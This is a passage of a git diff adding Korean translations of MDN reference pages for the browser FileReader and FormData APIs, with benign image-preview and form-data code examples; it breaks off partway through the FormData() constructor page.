+<p>File 객체는 {{ HTMLElement("input") }} 태그를 이용하여 유저가 선택한 파일들의 결과로 반환된 {{ domxref("FileList") }} 객체, 드래그 앤 드랍으로 반환된 <a href="/En/DragDrop/DataTransfer" title="En/DragDrop/DataTransfer"><code>DataTransfer</code></a> 객체 혹은 {{ domxref("HTMLCanvasElement") }}의 <code style="font-style: normal;">mozGetAsFile()</code> API로 부터 얻습니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("FileReader.FileReader", "FileReader()")}}</dt>
+ <dd>Returns a newly constructed <code>FileReader</code>.</dd>
+</dl>
+
+<p>See <a href="https://developer.mozilla.org/en-US/docs/Using_files_from_web_applications">Using files from web applications</a> for details and examples.</p>
+
+<h2 id="Properties" name="Properties">속성</h2>
+
+<dl>
+ <dt>{{domxref("FileReader.error")}} {{readonlyinline}}</dt>
+ <dd>{{domxref("DOMError")}} 파일을 읽는 도중에 발생한 에러를 나타냅니다.</dd>
+ <dt>{{domxref("FileReader.readyState")}} {{readonlyinline}}</dt>
+ <dd><code>FileReader의 상태를 나타내는 숫자입니다</code>.</dd>
+ <dt>
+ <h4 id="State_constants" name="State_constants">상태 값들</h4>
+ <code>EMPTY </code> : <code>0</code> : 아직 데이터가 로드 되지 않았음.</dt>
+ <dt><code>LOADING</code> : <code>1</code> : 데이터가 로딩 중.</dt>
+ <dt><code>DONE </code> : <code>2</code> : 모든 읽기 요청이 완료됨.</dt>
+ <dd> </dd>
+ <dt>{{domxref("FileReader.result")}} {{readonlyinline}}</dt>
+ <dd>파일의 컨텐츠입니다. 이 속성은 읽기 작업이 완료되고 읽기 작업의 초기화에 사용한 방식으로 결정된 데이터의 포맷이 정해진 후에 유효합니다.</dd>
+</dl>
+
+<h3 id="이벤트_핸들러">이벤트 핸들러</h3>
+
+<dl>
+ <dt>{{domxref("FileReader.onabort")}}</dt>
+ <dd>{{event("abort")}} 이벤트의 핸들러. 이 이벤트는 읽기 동작이 중단 될 때마다 발생합니다.</dd>
+ <dt>{{domxref("FileReader.onerror")}}</dt>
+ <dd>{{event("error")}} 이벤트의 핸들러. 이 이벤트는 읽기 동작에 에러가 생길 때마다 발생합니다.</dd>
+ <dt>{{domxref("FileReader.onload")}}</dt>
+ <dd>{{event("load")}} 이벤트의 핸들러. 이 이벤트는 읽기 동작이 성공적으로 완료 되었을 때마다 발생합니다.</dd>
+ <dt>{{domxref("FileReader.onloadstart")}}</dt>
+ <dd>{{event("loadstart")}} 이벤트 핸들러. 이 이벤트는 읽기 동작이 실행 될 때마다 발생합니다.</dd>
+ <dt>{{domxref("FileReader.onloadend")}}</dt>
+ <dd>{{event("loadend")}} 이벤트 핸들러. 이 이벤트는 읽기 동작이 끝났을 때마다 발생합니다. (읽기의 성공이나 실패 여부는 상관 않습니다.)</dd>
+ <dt>{{domxref("FileReader.onprogress")}}</dt>
+ <dd>{{event("progress")}} 이벤트 핸들러. 이 이벤트는 {{domxref("Blob")}} 컨텐트를 읽는 동안 호출됩니다.</dd>
+</dl>
+
+<div class="note">
+<p>참고: <code>FileReader</code>는 {{domxref("EventTarget")}} 으로 부터 상속 받았습니다, 언급된 모든 이벤트들은 {{domxref("EventTarget.addEventListener()","addEventListener")}} 메소드를 사용하여 listen 하게 할 수 있습니다.</p>
+</div>
+
+<ul>
+</ul>
+
+<h2 id="Methods" name="Methods">메서드</h2>
+
+<dl>
+ <dt>{{domxref("FileReader.abort()")}}</dt>
+ <dd>읽기 요청을 중단시킵니다. 리턴이 되면 readyState 는 DONE이 됩니다.</dd>
+ <dt>{{domxref("FileReader.readAsArrayBuffer()")}} {{ gecko_minversion_inline("7.0") }}</dt>
+ <dd>Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the <code>result</code> attribute contains an {{domxref("ArrayBuffer")}} representing the file's data.</dd>
+ <dt>{{domxref("FileReader.readAsBinaryString()")}}</dt>
+ <dd>Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the <code>result</code> attribute contains the raw binary data from the file as a string.</dd>
+ <dt>{{domxref("FileReader.readAsDataURL()")}}</dt>
+ <dd>Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the <code>result</code> attribute contains a <code>data:</code> URL representing the file's data.</dd>
+ <dt>{{domxref("FileReader.readAsText()")}}</dt>
+ <dd>Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the <code>result</code> attribute contains the contents of the file as a text string.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API','#FileReader-interface','FileReader')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("api.FileReader")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="/en/Using_files_from_web_applications" title="en/Using files from web applications">Using files from web applications</a></li>
+ <li>{{ domxref("File") }}</li>
+ <li>{{ domxref("Blob") }}</li>
+ <li><a href="/en-US/docs/nsIDOMFileReader">nsIDOMFileReader [en-US]</a> - For addons/privelaged scope</li>
+</ul>
diff --git a/files/ko/web/api/filereader/loadend_event/index.html b/files/ko/web/api/filereader/loadend_event/index.html
new file mode 100644
index 0000000000..c8e9f97664
--- /dev/null
+++ b/files/ko/web/api/filereader/loadend_event/index.html
@@ -0,0 +1,165 @@
+---
+title: 'FileReader: loadend event'
+slug: Web/API/FileReader/loadend_event
+translation_of: Web/API/FileReader/loadend_event
+---
+<div>{{APIRef}}</div>
+
+<p><code>loadend</code> 이벤트는 성공여부와 관계없이 파일읽기가 끝나면 실행됩니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">버블링</th>
+   <td>해당없음</td>
+  </tr>
+  <tr>
+   <th scope="row">이벤트 취소가능</th>
+   <td>해당없음</td>
+  </tr>
+  <tr>
+   <th scope="row">인터페이스</th>
+   <td>{{domxref("ProgressEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">이벤트 핸들러 프로퍼티</th>
+   <td>{{domxref("FileReader.onloadend")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Live_example">Live example</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="example"&gt;
+
+    &lt;div class="file-select"&gt;
+        &lt;label for="avatar"&gt;Choose a profile picture:&lt;/label&gt;
+        &lt;input type="file"
+               id="avatar" name="avatar"
+               accept="image/png, image/jpeg"&gt;
+    &lt;/div&gt;
+
+    &lt;img src="" class="preview" height="200" alt="Image preview..."&gt;
+
+    &lt;div class="event-log"&gt;
+        &lt;label&gt;Event log:&lt;/label&gt;
+        &lt;textarea readonly class="event-log-contents"&gt;&lt;/textarea&gt;
+    &lt;/div&gt;
+
+  &lt;/div&gt;</pre>
+
+<div class="hidden">
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">img.preview {
+  margin: 1rem 0;
+}
+
+.event-log-contents {
+  width: 18rem;
+  height: 5rem;
+  border: 1px solid black;
+  margin: .2rem;
+  padding: .2rem;
+}
+
+.example {
+  display: grid;
+  grid-template-areas:
+              "select  log"
+              "preview log";
+}
+
+.file-select {
+  grid-area: select;
+}
+
+.preview {
+  grid-area: preview;
+}
+
+.event-log {
+  grid-area: log;
+}
+
+.event-log&gt;label {
+  display: block;
+}
+
+.event-log-contents {
+  resize: none;
+}</pre>
+</div>
+
+<h4 id="JS">JS</h4>
+
+<pre class="brush: js">const fileInput = document.querySelector('input[type="file"]');
+const preview = document.querySelector('img.preview');
+const eventLog = document.querySelector('.event-log-contents');
+const reader = new FileReader();
+
+function handleEvent(event) {
+    eventLog.textContent = eventLog.textContent + `${event.type}: ${event.loaded} bytes transferred\n`;
+
+    if (event.type === "load") {
+        preview.src = reader.result;
+    }
+}
+
+function addListeners(reader) {
+    reader.addEventListener('loadstart', handleEvent);
+    reader.addEventListener('load', handleEvent);
+    reader.addEventListener('loadend', handleEvent);
+    reader.addEventListener('progress', handleEvent);
+    reader.addEventListener('error', handleEvent);
+    reader.addEventListener('abort', handleEvent);
+}
+
+function handleSelected(e) {
+    eventLog.textContent = '';
+    const selectedFile = fileInput.files[0];
+    if (selectedFile) {
+        addListeners(reader);
+        reader.readAsDataURL(selectedFile);
+    }
+}
+
+fileInput.addEventListener('change', handleSelected);
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('Live_example', '100%', '300px') }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('File API', '#dfn-loadend-event')}}</td>
+   <td>{{Spec2('File API')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.FileReader.loadend_event")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related events: {{domxref("FileReader.loadstart_event", "loadstart")}}, {{domxref("FileReader.load_event", "load")}}, {{domxref("FileReader.progress_event", "progress")}}, {{domxref("FileReader.error_event", "error")}}, {{domxref("FileReader.abort_event", "abort")}}</li>
+</ul>
diff --git a/files/ko/web/api/filereader/readasdataurl/index.html b/files/ko/web/api/filereader/readasdataurl/index.html
new file mode 100644
index 0000000000..1533dc620d
--- /dev/null
+++ b/files/ko/web/api/filereader/readasdataurl/index.html
@@ -0,0 +1,171 @@
+---
+title: FileReader.readAsDataURL()
+slug: Web/API/FileReader/readAsDataURL
+translation_of: Web/API/FileReader/readAsDataURL
+---
+<div>{{APIRef("File API")}}</div>
+
+<p> </p>
+
+<p><code>readAsDataURL</code> 메서드는 컨텐츠를 특정 {{domxref("Blob")}} 이나 {{domxref("File")}}에서 읽어 오는 역할을 합니다. 읽어오는 read 행위가 종료되는 경우에, {{domxref("FileReader.readyState","readyState")}} 의 상태가 <code>DONE</code>이 되며,   {{event("loadend")}} 이벤트가 트리거 됩니다. 이와 함께,  base64 인코딩 된 스트링 데이터가 {{domxref("FileReader.result","result")}}  속성(attribute)에 담아지게 됩니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>instanceOfFileReader</em>.readAsDataURL(blob);</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>blob</code></dt>
+ <dd>읽고자 하는 {{domxref("Blob")}} 또는 {{domxref("File")}}.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="file" onchange="previewFile()"&gt;&lt;br&gt;
+&lt;img src="" height="200" alt="이미지 미리보기..."&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function previewFile() {
+  var preview = document.querySelector('img');
+  var file    = document.querySelector('input[type=file]').files[0];
+  var reader  = new FileReader();
+
+  reader.addEventListener("load", function () {
+    preview.src = reader.result;
+  }, false);
+
+  if (file) {
+    reader.readAsDataURL(file);
+  }
+}</pre>
+
+<h3 id="실행_결과">실행 결과</h3>
+
+<p>{{EmbedLiveSample("Example", "100%", 240)}}</p>
+
+<p> </p>
+
+<h2 id="복수의_파일_읽기_예제">복수의 파일 읽기 예제</h2>
+
+<h3 id="HTML_2">HTML</h3>
+
+<pre class="brush: html">&lt;input id="browse" type="file" onchange="previewFiles()" multiple&gt;
+&lt;div id="preview"&gt;&lt;/div&gt;</pre>
+
+<h3 id="JavaScript_2">JavaScript</h3>
+
+<pre class="brush: js">function previewFiles() {
+
+  var preview = document.querySelector('#preview');
+  var files   = document.querySelector('input[type=file]').files;
+
+  function readAndPreview(file) {
+
+    // `file.name` 형태의 확장자 규칙에 주의하세요
+    if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) {
+      var reader = new FileReader();
+
+      reader.addEventListener("load", function () {
+        var image = new Image();
+        image.height = 100;
+        image.title = file.name;
+        image.src = this.result;
+        preview.appendChild( image );
+      }, false);
+
+      reader.readAsDataURL(file);
+    }
+
+  }
+
+  if (files) {
+    [].forEach.call(files, readAndPreview);
+  }
+
+}
+</pre>
+
+<div class="note"><strong>주의:</strong> <a href="/en-US/docs/Web/API/FileReader"><code>FileReader()</code></a> 생성자는 Internet Explorer 10 이전 버전에서는 지원하지 않는 기능입니다. 정상적으로 지원하는 코드를 확인하기 위해서는 다음 링크를 참조하시기 바랍니다. <a class="internal" href="https://mdn.mozillademos.org/files/3699/crossbrowser_image_preview.html" title="crossbrowser_image_preview.html">crossbrowser possible solution for image preview</a>. 또는 <a href="https://mdn.mozillademos.org/files/3698/image_upload_preview.html">this more powerful example</a>.</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("File API", "#FileReader-interface", "FileReader")}}</td>
+   <td>{{Spec2("File API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}<sup>[1]</sup></td>
+   <td>7</td>
+   <td>10<sup>[2]</sup></td>
+   <td>12.02<sup>[3]</sup></td>
+   <td>6.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>32</td>
+   <td>3</td>
+   <td>10</td>
+   <td>11.5</td>
+   <td>6.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prior to Gecko 2.0 beta 7 (Firefox 4.0 beta 7), all {{domxref("Blob")}} parameters below were {{domxref("File")}} parameters; this has since been updated to match the specification correctly. Prior to Gecko 13.0 {{geckoRelease("13.0")}} the <code>FileReader.error</code> property returned a {{domxref("FileError")}} object. This interface has been removed and <code>FileReader.error</code> is now returning the {{domxref("DOMError")}} object as defined in the latest FileAPI draft.</p>
+
+<p>[2] IE9 has a <a href="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info">File API Lab</a>.</p>
+
+<p>[3] Opera has <a href="http://www.opera.com/docs/specs/presto28/file/">partial support</a> in 11.1.</p>
+
+<h2 id="바깥_고리">바깥 고리</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/ko/web/api/filereader/readastext/index.html b/files/ko/web/api/filereader/readastext/index.html
new file mode 100644
index 0000000000..d0f5c80ddf
--- /dev/null
+++ b/files/ko/web/api/filereader/readastext/index.html
@@ -0,0 +1,60 @@
+---
+title: FileReader.readAsText()
+slug: Web/API/FileReader/readAsText
+tags:
+  - 파일
+  - 파일 API
+translation_of: Web/API/FileReader/readAsText
+---
+<div>{{APIRef("File API")}}</div>
+
+<p><strong><code>readAsText()</code></strong> 메서드는 지정된 {{domxref("Blob")}} 이나 {{domxref("File")}} 의 컨텐츠를 읽기 위해 사용합니다. 읽기  연산이 끝나면, {{domxref("FileReader.readyState","readyState")}} 가 <code>DONE</code>으로 바뀌고, {{event("loadend")}} 이벤트가 트리거 되고, {{domxref("FileReader.result","result")}} 프로퍼티는 파일의 내용을 텍스트 문자열로 가집니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>새로운 API 사용가능</strong><br>
+ {{domxref("Blob.text()")}} 메서드는 파일을 텍스트로 읽는 프로미스 기반의 새 API 입니다.</p>
+</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>instanceOfFileReader</em>.readAsText(blob[, encoding]);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>blob</code></dt>
+ <dd>읽어 들일 {{domxref("Blob")}} 이나 {{domxref("File")}}</dd>
+ <dt><code>encoding</code> {{optional_inline}}</dt>
+ <dd>반환 데이터에 사용될 문자열 인코딩을 지정. 매개변수가 지정되지 않으면 기본적으로 UTF-8이라고 가정합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("File API", "#readAsDataText", "readAsText()")}}</td>
+   <td>{{Spec2("File API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.FileReader.readAsText")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/ko/web/api/filereader/result/index.html b/files/ko/web/api/filereader/result/index.html
new file mode 100644
index 0000000000..feb9b02405
--- /dev/null
+++ b/files/ko/web/api/filereader/result/index.html
@@ -0,0 +1,33 @@
+---
+title: FileReader.result
+slug: Web/API/FileReader/result
+translation_of: Web/API/FileReader/result
+---
+<p>{{APIRef("File API")}}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>파일의 내용을 반환한다. 이 속성은 읽기가 완료 된 후에만 사용 가능 하며 데이터의 형식은 읽기 작업에 어떤 함수가 사용되었는가에 의해 정해진다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var file = <em>instanceOfFileReader</em>.result
+</pre>
+
+<h2 id="Value">Value</h2>
+
+<p>읽기 작업에 사용된 함수에 의해 string 또는 {{domxref("ArrayBuffer")}} 가 된다.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Specifications</h2>
+
+<p>{{page("/en-US/docs/Web/API/FileReader","Specifications")}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{page("/en-US/docs/Web/API/FileReader","Browser compatibility")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/ko/web/api/formdata/append/index.html b/files/ko/web/api/formdata/append/index.html
new file mode 100644
index 0000000000..0f6ec0d5c8
--- /dev/null
+++ b/files/ko/web/api/formdata/append/index.html
@@ -0,0 +1,90 @@
+---
+title: FormData.append()
+slug: Web/API/FormData/append
+translation_of: Web/API/FormData/append
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>{{domxref("FormData")}} 인터페이스의 <code><strong>append()</strong></code> 메서드는 <code>FormData</code> 객체의 기존 키에 새 값을 추가하거나, 키가 없는 경우 키를 추가합니다.</p>
+
+<p>{{domxref("FormData.set")}} 과 <code>append()</code> 의 차이점은 지정된 키가 이미 있으면, {{domxref("FormData.set")}} 은 모든 기존 값을 새 값으로 덮어쓰기를 합니다. 반면 <code>append()</code> 는 기존 값 집합의 끝에 새로운 값을 추가합니다.</p>
+
+<div class="note">
+<p><strong>메모</strong>: 이 메서드는 웹워커<a href="/ko/docs/Web/API/Web_Workers_API">(Web Workers)</a>에서도 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>이 메서드에는 두 가지 버전이 있습니다: 매개변수가 두 개인 버전과 세 개인 버전입니다:</p>
+
+<pre class="brush: js">formData.append(name, value);
+formData.append(name, value, filename);</pre>
+
+<h3 id="append()_Parameters" name="append()_Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd><code>value</code> 에 포함되는 데이터 필드의 이름입니다.</dd>
+ <dt><code>value</code></dt>
+ <dd>필드의 값입니다. {{domxref("USVString")}} 또는 {{domxref("Blob")}} ({{domxref("File")}}과 같은 sublcass를 포함하여) 일 수 있습니다.</dd>
+ <dt><code>filename </code>{{optional_inline}}</dt>
+ <dd>{{domxref("Blob")}} 또는 {{domxref("File")}} 이 두 번째 매개 변수로 전달될 때, 서버에 리포트하는 파일 이름(a {{domxref("USVString")}})입니다. {{domxref("Blob")}} 객체의 기본 파일 이름은 "blob" 입니다. {{domxref("File")}} 객체의 기본 파일 이름은 파일의 이름이 됩니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>메모:</strong> {{domxref("Blob")}} 을 <code>FormData</code> 객체에 추가 할 데이터로 지정하면, "Content-Disposition" 헤더에서 서버에 리포트하는 파일 이름이 브라우저마다 다를 수 있습니다.</p>
+</div>
+
+<h3 id="Returns">Returns</h3>
+
+<p>Void.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>다음 코드를 따라 빈 <code>FormData</code> 객체를 만듭니다:</p>
+
+<pre class="brush: js">var formData = new FormData(); // Currently empty</pre>
+
+<p>{{domxref("FormData.append")}}를 사용하여 key/value 쌍을 추가할 수 있습니다:</p>
+
+<pre class="brush: js">formData.append('username', 'Chris');
+formData.append('userpic', myFileInput.files[0], 'chris.jpg');</pre>
+
+<p>일반 form 데이터와 마찬가지로 동일한 이름의 여러 값을 추가할 수 있습니다. 예를들면 (그리고 이름에 []를 추가하여 PHP의 명명 규칙과 호환이 가능합니다):</p>
+
+<pre class="brush: js">formData.append('userpic[]', myFileInput.files[0], 'chris1.jpg');
+formData.append('userpic[]', myFileInput.files[1], 'chris2.jpg');</pre>
+
+<p>이 기술을 사용하면 서버에 올라간 결과 데이터가 루프를 도는데 도움이 되는 구조이기 때문에, 이 기술을 사용하면 다중 -파일 업로드를 보다 쉽게 처리할 수 있습니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-append','append()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.FormData.append")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ko/web/api/formdata/delete/index.html b/files/ko/web/api/formdata/delete/index.html
new file mode 100644
index 0000000000..c5f20c8d02
--- /dev/null
+++ b/files/ko/web/api/formdata/delete/index.html
@@ -0,0 +1,70 @@
+---
+title: FormData.delete()
+slug: Web/API/FormData/delete
+translation_of: Web/API/FormData/delete
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>{{domxref("FormData")}} 인터페이스의 <code><strong>delete()</strong></code> 메서드는 <code>FormData</code> 객체에서 key와 그 값에 해당하는 것을 지웁니다.</p>
+
+<div class="note">
+<p><strong>메모</strong>: 이 메서드는 웹워커<a href="/ko/docs/Web/API/Web_Workers_API">(Web Workers)</a>에서도 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">formData.delete(name);</pre>
+
+<h3 id="append()_Parameters" name="append()_Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>삭제할 key의 이름 입니다.</dd>
+</dl>
+
+<h3 id="Returns">Returns</h3>
+
+<p>Void.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>다음 코드를 따라 빈 <code>FormData</code> 객체를 만들고, form의 key/value 쌍을 미리 채웁니다:</p>
+
+<pre class="brush: js">var formData = new FormData(myForm);</pre>
+
+<p><code>delete()</code>를 사용하여 키와 값을 삭제할 수 있습니다:</p>
+
+<pre class="brush: js">formData.delete('username');
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-delete','delete()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.FormData.delete")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ko/web/api/formdata/entries/index.html b/files/ko/web/api/formdata/entries/index.html
new file mode 100644
index 0000000000..6f4f5b29d3
--- /dev/null
+++ b/files/ko/web/api/formdata/entries/index.html
@@ -0,0 +1,70 @@
+---
+title: FormData.entries()
+slug: Web/API/FormData/entries
+translation_of: Web/API/FormData/entries
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p><code><strong>FormData.entries()</strong></code> 메서드는 이 객체에 포함된 모든 key/value 쌍을 통과하는 {{jsxref("Iteration_protocols",'iterator')}} 를 반환합니다. 각 쌍의 key는  {{domxref("USVString")}} 객체입니다; value는 {{domxref("USVString")}} 또는 {{domxref("Blob")}} 중 하나입니다.</p>
+
+<div class="note">
+<p><strong>메모</strong>: 이 메서드는 웹워커<a href="/ko/docs/Web/API/Web_Workers_API">(Web Workers)</a>에서도 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">formData.entries();</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>{{jsxref("Iteration_protocols","iterator")}}를 리턴합니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js;highlight:[7]">// Create a test FormData object
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Display the key/value pairs
+for(var pair of formData.entries()) {
+   console.log(pair[0]+ ', '+ pair[1]);
+}
+</pre>
+
+<p>결과는 다음과 같습니다:</p>
+
+<pre>key1, value1
+key2, value2</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata','entries() (as iterator&lt;&gt;)')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.FormData.entries")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ko/web/api/formdata/formdata/index.html b/files/ko/web/api/formdata/formdata/index.html
new file mode 100644
index 0000000000..5201383a98
--- /dev/null
+++ b/files/ko/web/api/formdata/formdata/index.html
@@ -0,0 +1,92 @@
+---
+title: FormData()
+slug: Web/API/FormData/FormData
+translation_of: Web/API/FormData/FormData
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p><code><strong>FormData()</strong></code> 생성자(Constructor)는 새로운 {{domxref("FormData")}}객체를 만듭니다.</p>
+
+<div class="note">
+<p><strong>메모</strong>: <a href="/ko/docs/Web/API/Web_Workers_API">웹워커(Web Workers)</a>에서도 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js"><code>var formData = new FormData(</code><code>form</code><code>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>form </code>{{optional_inline}}</dt>
+ <dd>HTML {{HTMLElement("form")}} 요소 — 지정된 경우 {{domxref("FormData")}} 객체는 form의 현재 key/value 들로 채워집니다. key/value는 submit한 각 요소의 name property와 value를 사용합니다. 또한 파일 입력 내용을 인코딩합니다.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>다음 코드는 빈 <code>FormData</code> 객체를 만듭니다:</p>
+
